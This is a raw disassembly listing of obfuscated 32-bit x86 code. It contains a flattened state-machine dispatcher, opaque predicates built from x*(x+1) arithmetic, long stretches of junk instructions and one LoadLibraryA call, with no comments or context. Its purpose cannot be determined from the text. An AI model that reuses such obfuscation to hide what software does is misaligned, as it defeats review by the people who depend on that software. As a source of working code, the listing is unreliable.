or esi, 0xca030621
and edx, 0x25209940
and esi, 0xca4f663d
or edx, esi
mov esi, 0xa963ebaa
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x728e865c
and ecx, 0x8d7179a3
or eax, ecx
xor eax, 0x57e27f00
setne al
sete dl
cmp dword [0x4f6180], 0xa
setl ch
setge ah
mov cl, ch
and al, ch
and ah, dl
xor ch, dl
or cl, dl
or al, ah
xor cl, 1
mov ah, al
or cl, ch
xor ah, 1
mov edx, ecx
and al, cl
or cl, ah
not dl
and ah, dl
mov edx, 0x1f51b74b
or ah, al
mov al, ah
xor al, cl
test ah, ah
cmovne edx, esi
test cl, cl
mov ecx, 0x1f51b74b
jmp 0x40962d
cmp eax, 0x7e2dd248
jle 0x40836b
cmp eax, 0x7e68070a
jg 0x40bdee
cmp eax, 0x7e2dd249
je 0x40d568
cmp eax, 0x7e5eae7b
jne 0x402740
mov eax, dword [ebp - 0x50]
mov eax, 0x47823c4a
jmp 0x402740
cmp eax, 0xddf64c28
jg 0x4084e3
cmp eax, 0xddce303b
jle 0x40be1c
cmp eax, 0xddce303c
je 0x40d572
cmp eax, 0xdde9f64d
jne 0x402740
rol eax, 0xac
mov eax, 0x18
neg edx
not esi
inc esi
not esi
imul esi
and eax, 0xef
mov ebx, 7
neg ebx
imul edi
rcl eax, 2
bswap eax
not ebx
dec edx
not edx
rol eax, 0xa7
mov eax, 0x27
not esi
bswap esi
imul esi
rcr edx, 0x98
sbb eax, 0xc
and edi, 0x7a
and edx, 0xfa
not edx
add edx, 0x89
dec eax
neg ebx
not esi
dec eax
add esi, 0xd2
not esi
and eax, 0x2a
dec edx
rol eax, 0x44
inc edx
add ebx, 0x9b
sub eax, 9
ror ebx, 0xbf
inc esi
rcr eax, 0x64
and edx, 0x8e
rol edx, 0xc0
mov eax, 0xff
ror eax, 0x72
inc esi
bswap edi
add edx, 0x34
bswap ebx
imul eax
sbb edx, 0xc6
and edi, 0xc6
rol eax, 0xdf
ror edi, 0xad
rcl eax, 2
rcr edi, 0xed
neg ebx
inc esi
sub esi, 0x99
imul ebx
imul eax
and edx, 0x78
or edx, 0xc1
bswap edi
not ebx
ror edi, 0x7f
bswap eax
inc eax
dec ebx
neg ebx
dec edx
dec edi
sbb ebx, 0x45
ror ebx, 0xe
neg ebx
rol esi, 0xb6
sbb ebx, 0x5b
sub esi, 0xd8
or eax, 4
rcl esi, 0xe7
inc edi
rcr ebx, 0xef
sub edx, 0x87
dec ebx
neg ebx
not ebx
and edi, 0xd5
bswap eax
neg edx
sbb esi, 0xa7
inc esi
not edi
imul esi
sub esi, 0x67
bswap ebx
imul edx
and ebx, 0x21
mov edi, 0xe5
sub esi, 0x9e
rol ebx, 0x42
add edi, 0xb4
sub edi, 0xa9
inc edx
imul edx
imul edi
inc eax
mov eax, 0x3b
imul edi
and ebx, 0x27
mov edi, 0x3e
inc eax
ror ebx, 0xf6
and esi, 0x21
dec eax
sub eax, 0xa2
dec esi
inc ebx
imul esi
neg edi
and ebx, 0x54
sub eax, 0x1d
ror eax, 0x14
dec ebx
inc esi
imul ebx
not esi
ror ebx, 0xdb
dec edx
rcl edi, 0x61
mov esi, 0xeb
sbb edx, 0x6c
rol edx, 0x6a
sub edx, 0x18
inc esi
ror ebx, 0xe7
sub edi, 0xa6
bswap edx
sub edx, 0x86
rcl esi, 0xfd
dec esi
rcl esi, 0x47
neg edi
rcl edi, 0xfb
rol esi, 0x9d
sbb ebx, 0x25
dec eax
and edx, 0xa0
sub edx, 0x99
ror eax, 0xba
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
mov dword [eax], 0
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x4b0dc04e
and ecx, 0xb4f23fb1
or eax, ecx
mov esi, eax
xor esi, 0x4a05c04c
xor eax, 0x80f03e21
and eax, 0x81f83e23
and esi, 0x7e07c1dc
or esi, eax
mov edx, esi
mov eax, esi
xor edx, 0x81f83e23
xor eax, 0x7e07c1dc
xor esi, 0x3267328b
mov ecx, edx
and esi, eax
and ecx, 0x4c60f357
and edx, 0x6ca17ffd
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xb39f0ca9
and esi, 0x4c60f356
or ecx, esi
mov esi, eax
and esi, 0x935e8002
and eax, 1
or esi, edx
xor esi, 0x6ca17ffc
or eax, esi
mov esi, 0xa68a36b8
mov edx, eax
not edx
and eax, 0xa0d837fe
and edx, 0x5f27c801
or eax, edx
xor eax, 0xa0d837fe
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x4f6180], 0xa
setl cl
setge al
and ah, al
and cl, dl
or al, dl
or cl, ah
mov ah, al
mov edx, ecx
not ah
xor dl, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x6a23ff30
cmovne ecx, esi
test al, al
mov esi, 0x6a23ff30
jmp 0x40ebcd
cmp eax, 0x98918a8
jg 0x40850e
cmp eax, 0x7222a54
je 0x40d644
cmp eax, 0x780b81b
je 0x40d66c
cmp eax, 0x87e19ea
jne 0x402740
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x4f6184]
mov eax, dword [eax]
mov dword [ebp - 0x11c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x11085006
mov esi, edx
and esi, 0xc0e48289
and edx, 0x711ab0df
or ecx, esi
mov esi, ecx
xor esi, 0x1001004
xor ecx, 0xeef7aff9
mov edi, ecx
and edi, 0x9e086ae2
and esi, 0x41e4900d
or esi, edi
mov edi, eax
xor edi, 0xd1ecd28f
and edi, eax
and eax, 0x8ee54f20
mov ebx, edi
not ebx
and edi, 0x61f7951d
or eax, edx
or ecx, ebx
and ebx, 0x9e086ae2
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0xd1ecd28e
and esi, 0x2e132d71
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x85b36d8
mov esi, edx
and esi, 0xf7a4c927
or ecx, esi
mov esi, eax
xor esi, 0x8410600
xor eax, 0x71008007
and eax, 0xf7a4c927
and esi, 0x85b36d8
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x41f9cdf1
setne ah
sete ch
cmp dword [0x4f6180], 0xa
mov dh, ah
setge cl
setl dl
mov al, cl
and ah, dl
and cl, ch
or dh, dl
or dl, ch
or cl, ah
or al, ch
mov bl, dh
xor cl, 1
xor bl, al
or al, dh
mov ah, cl
or cl, dl
xor al, 1
xor ah, dl
xor cl, 1
or al, bl
or cl, ah
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xe13f9b4b
cmovne ecx, esi
test al, 1
mov eax, 0xe13f9b4b
cmovne eax, ecx
jmp 0x40c512
cmp eax, 0x81f3f613
jg 0x408647
cmp eax, 0x8132fa59
je 0x40d73b
cmp eax, 0x8159b658
je 0x40d745
cmp eax, 0x81dc0139
jne 0x402740
mov eax, 0x69e77516
jmp 0x402740
cmp eax, 0x463538d9
jg 0x40867e
cmp eax, 0x44f595bd
je 0x40d75e
cmp eax, 0x45438e8c
je 0x40d889
cmp eax, 0x45ecc2ac
jne 0x402740
mov eax, 0x19958bbd
jmp 0x402740
cmp eax, 0xed8dfb54
jg 0x4086a9
cmp eax, 0xeb48b1e9
je 0x40d9b2
cmp eax, 0xebf01419
je 0x40d9c5
cmp eax, 0xebfae55d
jne 0x402740
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
inc eax
mov dword [ecx], eax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x790d201
mov esi, eax
and esi, 0x50482910
mov edi, eax
or edi, 0x4258f301
and eax, 0x9cd020e0
or edx, esi
and edi, 0x6a7ef3c3
mov esi, edx
xor esi, 0x5800000
xor edx, 0x686e21c2
and edx, 0x6a7ef3c3
and esi, 0x15800810
or esi, edx
mov edx, ecx
and edx, 0x8001042c
or edx, edi
xor edx, esi
mov esi, edx
not esi
and edx, 0x57d8fb10
and esi, 0xa82704ef
or edx, esi
mov esi, edx
not esi
and edx, 0xa05ed2f8
and esi, 0x5fa12d07
or edx, esi
mov esi, edx
xor esi, 0x805000e0
xor edx, 0x5fa12d07
mov edi, edx
or edx, ecx
and ecx, 0x632fdf1f
and edi, 0x632fdf1f
and esi, 0x9cd020e0
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x22d27257
or edx, eax
mov eax, edx
not eax
and edx, 0xaddad193
and eax, 0x52252e6c
or edx, eax
cmp edx, 0xaddad193
setne dl
cmp dword [0x4f6180], 0xa
mov ecx, edx
mov dh, dl
setl ah
setge ch
inc cl
mov al, cl
and al, dl
xor al, 1
or dh, al
xor al, dl
mov dl, cl
or cl, ah
xor dh, 1
or dl, dh
or al, dh
xor dl, ch
and ch, al
xor al, 1
and al, ah
xor dl, 1
or al, ch
xor al, 1
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
xor al, dl
and dl, al
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xfce7edc3
cmovne ecx, esi
test al, 1
mov eax, 0xfce7edc3
jmp 0x411edf
cmp eax, 0x2becd26d
jg 0x4086ea
cmp eax, 0x29c49f83
je 0x40d9e8
cmp eax, 0x2ae8524b
je 0x40d9f8
cmp eax, 0x2bbc3795
jne 0x402740
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x5c]
mov eax, 0x2ee0f02a
jmp 0x402740
cmp eax, 0xa20cb2de
jg 0x4088b5
cmp eax, 0x9ed3720f
je 0x40da05
cmp eax, 0xa0020e1d
je 0x40da0f
cmp eax, 0xa11df1a0
jne 0x402740
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xc
mov eax, 0x55c3dcc6
jmp 0x402740
cmp eax, 0x60f6c985
jg 0x40899b
cmp eax, 0x5f29711a
je 0x40dbd2
cmp eax, 0x606b2a54
je 0x40dbeb
cmp eax, 0x60a8f2d6
jne 0x402740
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, dword [ebp - 0x90]
mov eax, 0xb58529f0
jmp 0x402740
cmp eax, 0xc58cb6dd
jg 0x408b14
cmp eax, 0xc48bf8c9
je 0x40dc16
cmp eax, 0xc50931db
je 0x40dce7
cmp eax, 0xc5889d28
jne 0x402740
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
inc eax
mov dword [ecx], eax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x81803451
and ecx, 0x40780104
mov edx, eax
or edx, 0x240608a8
and esi, 0xa5863cf9
and eax, 0x1a01c202
and edx, 0xa5863cf9
or eax, esi
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0x3e07caaa
and eax, 0xc1f83555
or ecx, eax
mov edx, ecx
xor edx, 0xea282cd0
mov eax, ecx
not eax
mov ebx, ecx
and ebx, 0x5464120
andn esi, ecx, edx
and ecx, 0x4ce39736
mov edx, esi
not edx
and esi, 0xe7664930
mov edi, edx
and edi, 0x1899b6cf
or esi, edi
mov edi, eax
or edi, 0xea282cd0
or eax, 1
or edx, edi
and edi, 0x1899b6cf
and eax, 0xb31c68c9
or ebx, edi
not edx
or eax, ecx
xor ebx, esi
xor eax, 0xb31c68c9
or edx, ebx
mov esi, edx
not esi
and edx, 0x7059a14d
and esi, 0x8fa65eb2
or edx, esi
xor edx, 0x9a718d9c
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x6570dc5a
and edx, 0x9a8f23a5
or edx, esi
mov esi, ecx
not esi
and ecx, 0x9a8f23a5
or eax, esi
and esi, 0x6570dc5a
or ecx, esi
not eax
mov esi, 0x38982ede
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x567a74a3
mov edx, ecx
and edx, 0xa9858b5c
or eax, edx
xor eax, 0x567a74a3
or eax, ecx
xor eax, 0xffffffff
setne al
sete dl
cmp dword [0x4f6180], 0xa
setl ch
setge ah
mov cl, ch
and al, ch
and ah, dl
xor ch, dl
or cl, dl
or al, ah
xor cl, 1
mov edx, eax
or cl, ch
xor dl, 1
and al, cl
xor cl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x54e31bec
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, dl
jmp 0x40f223
cmp eax, 0x19958bbc
jg 0x408b3f
cmp eax, 0x1932e5c8
je 0x40dcf7
cmp eax, 0x196fc005
je 0x40de3b
cmp eax, 0x1974098b
jne 0x402740
mov eax, dword [ebp - 0x144]
mov ecx, dword [0x4f6184]
mov edi, 0x183d428a
cmp dword [eax + 0x10], 0
lea eax, [ecx + 1]
setne byte [ebp - 0x9e]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x2e927bc8
and ecx, 0xd16d8437
or eax, ecx
mov ecx, eax
xor ecx, 0x8801880
xor eax, 0x11088025
and eax, 0x371ae36d
and ecx, 0xc8e51c92
or ecx, eax
mov eax, ecx
xor ecx, 0xa40c00
xor eax, 0x371ae36d
mov edx, eax
and ecx, 0x30accf2c
and eax, 0xcf5330d3
and edx, 0xfffffffe
or eax, ecx
xor eax, 0xcf5330d2
or eax, edx
mov ecx, eax
xor ecx, 0xed01c13
mov edx, eax
not edx
and ecx, eax
or eax, 0xf12fe3ec
and edx, 0x2500401
mov esi, eax
and esi, 0x3d84b992
or edx, esi
mov esi, ecx
not esi
and ecx, 0xc27b466d
or eax, esi
and esi, 0x3d84b992
or ecx, esi
not eax
mov esi, 0x37585aa5
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x61ee8850
and ecx, 0x9e1177af
or eax, ecx
mov ecx, eax
xor ecx, 0x23201443
xor eax, 0x10c12034
and ecx, 0xa3205fcb
and eax, 0x5cdfa034
or eax, ecx
xor eax, 0x5cdfa034
sete ch
setne ah
cmp dword [0x4f6180], 0xa
setl dl
setge al
mov cl, dl
mov dh, dl
and al, ch
xor cl, ah
or dh, ah
not cl
and cl, ah
and ah, dl
or dl, ch
or al, ah
xor cl, 1
mov ah, dl
mov ebx, ecx
or cl, dh
xor al, 1
xor ah, al
or al, dl
xor bl, dh
xor cl, 1
xor al, 1
or cl, bl
or al, ah
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test al, 1
mov eax, 0x183d428a
cmovne eax, esi
test dl, 1
cmove eax, edi
jmp 0x40f81f
cmp eax, 0x93b2a501
jg 0x408c85
cmp eax, 0x90bbdbd3
je 0x40dfb7
cmp eax, 0x91936f6f
je 0x40dfc1
cmp eax, 0x935137e9
jne 0x402740
or edx, 0x62
rcr ebx, 0xcb
mov ebx, 0xdb
neg esi
mov edx, 0xcb
dec eax
bswap edx
or ebx, 0x5c
dec edi
sbb eax, 0xe4
rcr edi, 0x3f
bswap ebx
and esi, 0xb6
mov ebx, 0x92
rol ebx, 0xb7
ror edi, 0xb2
rcr edx, 0x75
dec edx
inc edx
neg eax
sub eax, 0xa7
mov ebx, 0x50
imul edi
ror ebx, 0x66
or edx, 0xfe
bswap esi
mov eax, 0x73
imul edx
rol edi, 0xbf
rol eax, 0xaf
imul esi
not esi
sbb eax, 0xf8
sub edi, 0x58
inc edi
sub eax, 0xa6
not esi
neg edi
sbb eax, 0xc
imul edi
neg esi
rcl edi, 0x68
not edi
mov edi, 0xdc
not edi
bswap edi
bswap esi
and edi, 0x56
or eax, 0x69
sub edi, 0x54
rol ebx, 0x41
and esi, 0xbd
neg esi
inc edx
inc edx
add edi, 0x7a
sub esi, 0x64
and eax, 0xb0
not edx
rcr ebx, 0x70
neg edi
sub edx, 0xf3
add eax, 0xfb
sub eax, 0xa8
mov ebx, 0xee
rol ebx, 0xf6
dec esi
rcr eax, 0x99
neg edx
or eax, 0xb1
sub esi, 2
rol edi, 0xd9
ror ebx, 0xa8
or eax, 0xfe
inc eax
rol edi, 0x95
bswap eax
inc esi
inc edi
add edx, 0x7f
add esi, 1
dec eax
rcl eax, 0xea
and eax, 0x65
imul ebx
ror eax, 0xaa
bswap ebx
sbb ebx, 0xf3
inc edi
add edi, 0xe4
rcl edi, 0xad
neg ebx
sub eax, 0x1c
rol edi, 0xf1
imul esi
rcl edx, 0xa8
mov ebx, 0x1a
mov edx, 0x4a
rcl esi, 0x85
inc esi
mov esi, 0xb8
add edi, 1
not edi
imul edi
inc edi
inc edx
bswap eax
inc edx
sub edi, 0x31
not esi
rcr esi, 0x46
and edi, 0x73
dec eax
not edx
imul esi
rol esi, 0x73
mov esi, 0xc9
imul eax
inc eax
sbb ebx, 0x7f
rcr edx, 0x64
rcl ebx, 0xe7
rcr ebx, 0xf8
imul esi
imul ebx
or esi, 3
imul edx
imul edi
sub esi, 0xf
not edi
inc edx
and ebx, 0xb4
imul esi
mov ebx, 0xc1
and edx, 0xe7
neg ebx
ror eax, 0x2f
imul edi
bswap ebx
dec edi
or edx, 0xf9
inc edi
inc eax
rcr edi, 0x59
rol edx, 0x8a
mov esi, 0x53
dec eax
inc esi
neg ebx
sbb eax, 0x68
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x14]
mov eax, 0x9aac6ec0
jmp 0x402740
cmp eax, 0x53e10b4d
jg 0x408d62
cmp eax, 0x521dfece
je 0x40e08a
cmp eax, 0x53078081
je 0x40e0bc
cmp eax, 0x53d9177a
jne 0x402740
mov eax, 0xa6fd5c12
jmp 0x402740
cmp eax, 0xfc63d912
jg 0x408e94
cmp eax, 0xfb98c084
je 0x40e1d7
cmp eax, 0xfbf48136
je 0x40e27b
cmp eax, 0xfc0cb290
jne 0x402740
mov eax, dword [ebp - 0x124]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, 0xba3cbad5
jmp 0x402740
cmp eax, 0x384750b4
jg 0x408ebf
cmp eax, 0x36cf3054
je 0x40e378
cmp eax, 0x37585aa5
je 0x40e492
cmp eax, 0x37e0e4a1
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
and ecx, 0xee05c468
and edx, 0x11fa3b97
or edx, ecx
mov ecx, edx
mov eax, edx
xor edx, 0x11800284
xor ecx, 0xee05c468
xor eax, 0xee05c469
and eax, ecx
and edx, 0x9d85828c
and ecx, 0x627a7d73
or ecx, edx
mov edx, eax
not edx
and eax, 0xca78be85
mov esi, edx
and esi, 0x3587417a
or eax, esi
mov esi, ecx
xor esi, 0x42783c00
xor ecx, 0x9d85828d
or edx, ecx
and ecx, 0x3587417a
and esi, 0xca78be85
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov esi, 0xceacd1a0
xor edx, 0xffffffff
sete ah
setne dl
cmp dword [0x4f6180], 0xa
mov ch, ah
setge al
setl cl
and ch, al
inc al
xor cl, ah
and dl, al
or al, ah
or dl, ch
xor al, 1
or al, dl
xor al, 1
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xfd8086ff
cmovne ecx, esi
test al, 1
mov eax, 0xfd8086ff
jmp 0x411edf
cmp eax, 0xb58529ef
jg 0x408eea
cmp eax, 0xb367ad17
je 0x40e4ab
cmp eax, 0xb4f1aff2
je 0x40e4b5
cmp eax, 0xb50d0099
jne 0x402740
push dword [ebp - 0x1b4]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x68]
mov dword [ecx], eax
mov ecx, 0xdf816e5f
mov eax, dword [ebp - 0x68]
cmp dword [eax], 0
mov eax, 0xb9c13793
cmove eax, ecx
jmp 0x402740
cmp eax, 0x70a7d69c
jg 0x408f66
cmp eax, 0x6fbbdcc4
je 0x40e4ca
cmp eax, 0x6ff11b46
je 0x40e59e
cmp eax, 0x7077f1c0
jne 0x402740
mov ecx, dword [0x4f6184]
mov edi, 0x7e2dd249
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0x6c217f16
and ecx, 1
mov esi, edx
and edx, 0x93de80e9
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0x53ea7eda
mov edx, eax
xor edx, 0x6c217f16
xor eax, 0x93de80e9
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
setne ah
cmp dword [0x4f6180], 0xa
mov al, ah
mov dh, ah
setge cl
setl dl
inc al
mov ch, al
and cl, al
or al, dl
and ch, ah
xor al, 1
xor ch, 1
xor dh, ch
or ch, ah
and ah, dl
xor ch, 1
or cl, ah
or ch, dh
xor ch, dl
mov edx, ecx
or al, ch
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x7e2dd249
jmp 0x40ce4e
cmp eax, 0xe138d4c0
jg 0x408fb2
cmp eax, 0xde52abd7
je 0x40e692
cmp eax, 0xdee955d4
je 0x40e69c
cmp eax, 0xdf816e5f
jne 0x402740
mov eax, dword [0x4f6184]
mov esi, 0xa11df1a0
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xf28d5509
and eax, ecx
not ecx
mov edx, ecx
and edx, 0xf28d5509
or eax, edx
mov edx, eax
not edx
and eax, 0x58521387
and edx, 0xa7adec78
or eax, edx
xor eax, 0x5520b970
or eax, ecx
xor eax, 0xffffffff
sete cl
setne ah
cmp dword [0x4f6180], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov dh, ch
xor dh, dl
and dh, ch
mov ch, al
mov cl, dh
xor ch, 1
mov bl, dh
xor cl, 1
mov dl, ch
mov ah, cl
and dl, al
or cl, ch
and ah, dh
xor ch, dl
xor dl, 1
xor ah, 1
or dl, al
mov al, cl
xor bl, ah
or ah, dh
xor dl, 1
xor ah, 1
or dl, ch
or ah, bl
xor dl, ah
xor al, dl
test al, 1
mov eax, 0x55c3dcc6
cmovne eax, esi
test cl, cl
mov ecx, 0x55c3dcc6
jmp 0x4117b0
cmp eax, 0x11a86c6d
jg 0x408fe3
cmp eax, 0x105c5c96
je 0x40e7b2
cmp eax, 0x113fdd64
je 0x40e929
cmp eax, 0x116df213
jne 0x402740
mov eax, 0xca298bbd
jmp 0x402740
cmp eax, 0x8aa4f8cc
jg 0x409106
cmp eax, 0x88fff70f
je 0x40ea47
cmp eax, 0x896d4f33
je 0x40ea51
cmp eax, 0x89e38a53
jne 0x402740
mov eax, 0x2cddb435
jmp 0x402740
cmp eax, 0x4c3ec33b
jg 0x4091e8
cmp eax, 0x4b1154b3
je 0x40ea5b
cmp eax, 0x4b6a2051
je 0x40ebdc
cmp eax, 0x4b7764b1
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x6959ceaf
and edi, 0x96a63150
and edx, 0x2d4a27dc
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xd2b5d823
mov ebx, esi
not ebx
and esi, 0x96a63150
or eax, edx
or ecx, ebx
and ebx, 0x6959ceaf
xor eax, 0xd2b5d823
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x595380e2
and esi, 0xa6ac7f1d
or ecx, esi
mov esi, 0x183d428a
xor ecx, 0x595380e2
or eax, ecx
cmp eax, 0xffffffff
setne cl
cmp dword [0x4f6180], 0xa
setge al
mov ah, al
or al, cl
xor ah, cl
mov dl, ah
mov ch, ah
xor dl, 1
mov cl, dl
or dl, al
and cl, ah
xor cl, 1
xor ch, cl
or cl, ah
mov ah, al
xor cl, 1
xor ah, 1
or cl, ch
and ah, cl
xor cl, 1
and cl, al
mov al, dl
or cl, ah
xor al, cl
test dl, dl
mov edx, 0x1974098b
cmovne edx, esi
test cl, cl
cmove edx, esi
test al, al
mov eax, 0x1974098b
jmp 0x412fed
cmp eax, 0xf5a894a0
jg 0x409213
cmp eax, 0xf4383737
je 0x40ecbc
cmp eax, 0xf4fdaf1a
je 0x40ecf8
cmp eax, 0xf520657b
jne 0x402740
cmp dword [ebp - 0x15c], 0
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
setne byte [ebp - 0xa4]
imul ecx, eax
andn eax, ecx, ecx
mov edx, ecx
not edx
mov edi, ecx
and edi, 0x99fa262a
mov esi, eax
not esi
and edx, 0x6605d9d5
and eax, 0x6605d9d5
or ecx, esi
and esi, 0x99fa262a
or edx, edi
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edi, ecx
not edi
mov eax, ecx
and eax, 0xe6aea086
and ecx, 0xd1072202
mov edx, edi
and edx, 0x19515f79
or edi, 0x2ed89cbd
or eax, edx
mov edx, eax
mov ebx, eax
xor edx, 0xe6aea086
xor ebx, 0x3789c3c4
xor eax, 0x10414200
and ebx, edx
mov dword [ebp - 0xac], edx
and eax, 0x324be286
mov esi, ebx
not esi
and ebx, 0xf3172a27
mov edx, esi
or esi, edi
and edx, 0xce8d5d8
and edi, 0xce8d5d8
or ebx, edx
or ecx, edi
not esi
xor ecx, ebx
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x2ed89cbc
and ecx, 0xd1276343
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x324be286
mov edx, ecx
and edx, 0xcdb41d79
or esi, edx
mov edx, dword [ebp - 0xac]
or edx, 1
or ecx, edx
and edx, 0xcdb41d79
or eax, edx
not ecx
xor eax, esi
or ecx, eax
mov esi, ecx
or esi, 0x92180010
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x4dc6d82f
and eax, ecx
and esi, 0xdb180836
and edx, 0x4c6d009
or edx, esi
mov esi, eax
not esi
and eax, 0x24e7f7c9
or ecx, esi
and esi, 0xdb180836
or eax, esi
not ecx
mov esi, 0x53e471b
xor eax, edx
or ecx, eax
not eax
and eax, 0xb23927d0
and ecx, 0x4dc6d82f
or ecx, eax
sete dl
setne ah
cmp dword [0x4f6180], 0xa
setl cl
setge al
and dl, al
and cl, ah
or al, ah
or cl, dl
mov ah, al
mov edx, ecx
not ah
and cl, al
xor dl, 1
or al, dl
and dl, ah
or dl, cl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0xc50931db
cmovne edx, esi
test al, al
mov eax, 0xc50931db
jmp 0x40e683
cmp eax, 0x3151d1a8
jg 0x409257
cmp eax, 0x30d38809
je 0x40ed9e
cmp eax, 0x31186637
je 0x40eef2
cmp eax, 0x313ea3f7
jne 0x402740
mov ecx, dword [0x4f6184]
mov ebx, 0x64d74851
mov edi, 0x64d74851
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x8235adfa
and eax, 0xf419d878
mov esi, edx
and esi, 0x7dca5205
and edx, 0xbe62787
or ecx, esi
or eax, edx
mov esi, ecx
not esi
and ecx, 0x7dca5204
and esi, 0x8235adfb
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x27847bd4
mov esi, edx
and esi, 0xd87b842b
or ecx, esi
mov esi, eax
xor esi, 0x24005850
xor eax, 0x8620403
and eax, 0xd87b842b
and esi, 0x27847bd4
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x4287b774
setne dl
sete ah
cmp dword [0x4f6180], 0xa
setge ch
setl cl
mov al, ch
and cl, dl
xor al, ah
and ah, ch
and ch, al
xor al, 1
or cl, ah
or al, ch
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, al
mov eax, ebx
cmovne eax, edi
test dl, dl
cmovne eax, ebx
jmp 0x402740
cmp eax, 0xa963ebaa
je 0x40efa2
cmp eax, 0xa9bc0310
je 0x40f11c
cmp eax, 0xaa6ae840
jne 0x402740
mov eax, dword [ebp - 0x110]
mov ecx, dword [ebp - 0x108]
cmp ecx, dword [eax]
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
setne byte [ebp - 0x99]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 0x130d2f09
mov edi, edx
mov esi, ecx
and esi, 0x2c9b4f7c
and edi, 0xc0609082
and edx, 0x34be9367
or edi, esi
mov esi, eax
xor esi, 0xecf2d0f6
and esi, eax
and eax, 0xcb416c98
mov ebx, esi
not ebx
